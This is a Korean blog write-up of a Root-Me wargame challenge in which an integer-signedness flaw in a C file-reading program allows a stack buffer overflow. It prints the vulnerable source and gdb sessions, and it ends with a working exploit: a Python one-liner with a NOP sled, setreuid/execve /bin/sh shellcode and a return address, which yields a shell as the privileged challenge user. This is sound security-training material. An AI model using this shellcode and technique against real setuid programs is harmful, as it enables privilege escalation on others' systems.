Wargame/Root me

[App-system] ELF x86 - Stack buffer and integer overflow

wyv3rn 2022. 10. 22. 22:34
728x90
반응형

1. intro

 

2. code 및 분석

2.1.  code

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <fcntl.h>
 
#define BUFFER 128
 
void read_data(char *data, int fd, int size)
{
  while(read(fd, data, 1) == 1 && *data && size)
    {
      size--;
      data++;
    }
}
void read_file(int fd)
{
  char path[BUFFER+1] = {0};
  int size;  
   
  if(read(fd, &size, sizeof(int)) != sizeof(int))
    {
      printf("[-] File too short.\n");
      exit(0);
    }
   
  if(size >= BUFFER)
    {
      printf("[-] Path too long.\n");
      exit(0);
    }
  read_data(path, fd, size);
   
  if(path[0] != '/')
    {
      printf("[-] Need a absolute path.\n");
      exit(0);
    }  
   
  printf("[+] The pathname is : %s\n", path);
}
int main(int argc, char **argv)
{
  int fd;
   
  if(argc != 2)
    {
      printf("[-] Usage : %s <filename>\n", argv[0]);
      exit(0);
    }
   
  if((fd = open(argv[1], O_RDONLY)) == -1)
    {
      perror("[-] open ");
      exit(0);
    }
   
  read_file(fd);
  close(fd);
  return 0;
}

2.2. 분석

2.2.1. main

main 함수에서 인자를 받아들이며, 인자를 통해 파일을 연다.

정상적으로 파일이 열렸다면 read_file 함수 및 close 함수를 실행한다.

2.2.2. read_file

파일 내용을 4 bytes 만큼 size 변수의 위치에 받아들인다.

만일 4 bytes만큼 받아들인 내용의 정수 값이 BUFFER 변수보다 크면 종료한다.

이후 path 변수 주소, fd, size 값을 인자로 read_data 함수를 실행한다.

2.2.3. read_data

파일을 path 변수 위치에 파일의 끝까지 1 byte씩 읽어들인다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

주요 사항은 BUFFER 변수의 크기보다 size 변수의 크기가 크면 error와 함께 종료되는데, 만일 파일에서 읽어들인 4 bytes의 내용이 0xffffffff라면 음수로 인식하며, read_data 함수에서 overflow를 일으킬 수 있다.

 

3.2. 공격 준비

우선 /tmp 폴더에 임시 파일을 만들어서 테스트 해보자.

size 변수의 값에 대해서 조금 이해하기 힘들 수 있는데 예를 들어 AAAA 라는 문자열이 파일에 저장되어있다면 이는 size 변수에 들어가면 0x41414141로 인식되어 1,094,795,585로 인식한다.

a 파일에 B 4개와 A 1000개를 넣고 gdb로 확인해보면

app-systeme-ch11@challenge02:/tmp/wyv3rn$ echo `python -c 'print "A" * 1000'` > a
app-systeme-ch11@challenge02:/tmp/wyv3rn$ cat a
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

아래와 같이 첫 4 bytes인 0x41414141과 비교하는 것을 볼 수 있다.

gef➤  b *read_file + 129
Breakpoint 1 at 0x8048611
gef➤  set disassembly-flavor att
gef➤  r /tmp/wyv3rn/a
Starting program: /challenge/app-systeme/ch11/ch11 /tmp/wyv3rn/a
...
$eax   : 0x42424242 ("BBBB"?)
...
→  0x8048611 <read_file+129>  cmp    $0x7f, %eax
...

즉, 첫 4 bytes는 0xffffffff가 되어야 한다.

 

더불어 read_data 함수 실행 이후 path[0]의 값이 '/' 인지 확인하는데, 해당 위치를 찾아보면 BBBB이후의 1 byte이다.

 

이를 만족하면 read_file 함수의 return address 변조가 가능해지며 오프셋을 확인해보면 아래와 같다.

gef➤  b *read_file+262
Breakpoint 3 at 0x8048696
gef➤  c
Continuing.
[+] The pathname is : /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
challenge/app-systeme/ch11
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x41b     
$ebx   : 0x41414141 ("AAAA"?)
$ecx   : 0x0       
$edx   : 0xb7fc4890  →  0x00000000
$esp   : 0xbffffafc  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$ebp   : 0x41414141 ("AAAA"?)
$esi   : 0x41414141 ("AAAA"?)
$edi   : 0x41414141 ("AAAA"?)
$eip   : 0x08048696  →  <read_file+262> ret 
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0073 $ss: 0x007b $ds: 0x007b $es: 0x007b $fs: 0x0000 $gs: 0x0033 
───────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xbffffafc│+0x0000: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"    ← $esp
0xbffffb00│+0x0004: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xbffffb04│+0x0008: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xbffffb08│+0x000c: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xbffffb0c│+0x0010: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xbffffb10│+0x0014: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xbffffb14│+0x0018: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xbffffb18│+0x001c: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
─────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x8048693 <read_file+259>  pop    %esi
    0x8048694 <read_file+260>  pop    %edi
    0x8048695 <read_file+261>  pop    %ebp
 →  0x8048696 <read_file+262>  ret    
[!] Cannot disassemble from $PC
─────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ch11", stopped 0x8048696 in read_file (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048696 → read_file()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Breakpoint 3, 0x08048696 in read_file ()
gef➤  x/40wx $esp-200
0xbffffa34:     0xb7fff940      0xb7e3c525      0x0804868b      0x08048811
0xbffffa44:     0xbffffa5f      0xfffffc15      0x080485a1      0xb7fd2110
0xbffffa54:     0xb7fd23e0      0xffffffff      0x2f000000      0x41414141
0xbffffa64:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa74:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa84:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa94:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffaa4:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffab4:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffac4:     0x41414141      0x41414141      0x41414141      0x41414141
gef➤  p 0xbffffafc-0xbffffa60
$1 = 0x9c

 

4. exploit

offset 확인 후 아래와 같이 payload를 작성하여 a 파일에 넣어두고 문제 파일을 실행하였으나 gdb offset에 의해 ret address가 적절하지 않아 seg.fault가 발생하였으며, 이에 주소를 적절히 변경하면서 시도하였다.

app-systeme-ch11@challenge02:/tmp/wyv3rn$ echo `python -c 'print "\xff\xff\xff\xff/" + "\x90"* (0x9c-34-30) + "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80" + "\x90"*30 + "\xc0\xfa\xff\xbf"'` > a
app-systeme-ch11@challenge02:~$ ./ch11 /tmp/wyv3rn/a
[+] The pathname is : /��������������������������������������������������������������������������������������������j1X���jFX�
          Rhn/shh//bi��������������������������������������

$ id
uid=1211(app-systeme-ch11-cracked) gid=1111(app-systeme-ch11) groups=1111(app-systeme-ch11),100(users)
$ cat .passwd
#----------플래그는 삭제

 

 

728x90
반응형